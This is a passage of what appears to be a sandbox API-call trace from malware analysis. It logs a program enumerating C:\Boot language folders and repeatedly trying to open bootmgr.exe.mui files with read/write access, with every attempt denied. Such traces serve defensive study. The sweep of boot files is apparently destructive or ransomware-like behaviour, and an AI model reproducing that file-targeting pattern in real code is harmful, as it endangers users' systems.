ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.043] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.043] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0062.043] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\hu-HU") returned 13 [0062.043] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\hu-HU\\*.*") returned 17 [0062.044] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.044] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.044] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.044] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0062.044] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.045] GetLastError () returned 0x5 [0062.045] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.045] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.045] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0062.045] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\it-IT") returned 13 [0062.045] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\it-IT\\*.*") returned 17 [0062.045] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.048] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.048] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.048] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0062.049] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.049] GetLastError () returned 0x5 [0062.049] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.049] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.049] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0062.049] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\ja-JP") returned 13 [0062.049] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\ja-JP\\*.*") returned 17 [0062.049] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.050] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.050] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.050] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0062.050] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.050] GetLastError () returned 0x5 [0062.051] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.051] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.051] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0062.051] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\ko-KR") returned 13 [0062.051] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\ko-KR\\*.*") returned 17 [0062.051] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.058] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.058] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.058] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0062.058] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.058] GetLastError () returned 0x5 [0062.059] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.059] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.059] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0062.059] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0062.059] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\nb-NO") returned 13 [0062.059] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\nb-NO\\*.*") returned 17 [0062.059] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.060] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.060] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.060] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0062.060] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.063] GetLastError () returned 0x5 [0062.063] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.063] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.063] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0062.063] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\nl-NL") returned 13 [0062.063] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\nl-NL\\*.*") returned 17 [0062.064] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.064] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.064] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.064] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0062.064] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.065] GetLastError () returned 0x5 [0062.065] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.065] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.065] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0062.065] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\pl-PL") returned 13 [0062.065] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\pl-PL\\*.*") returned 17 [0062.065] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.066] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.066] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.066] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0062.066] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.189] GetLastError () returned 0x5 [0062.189] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.189] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.189] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, 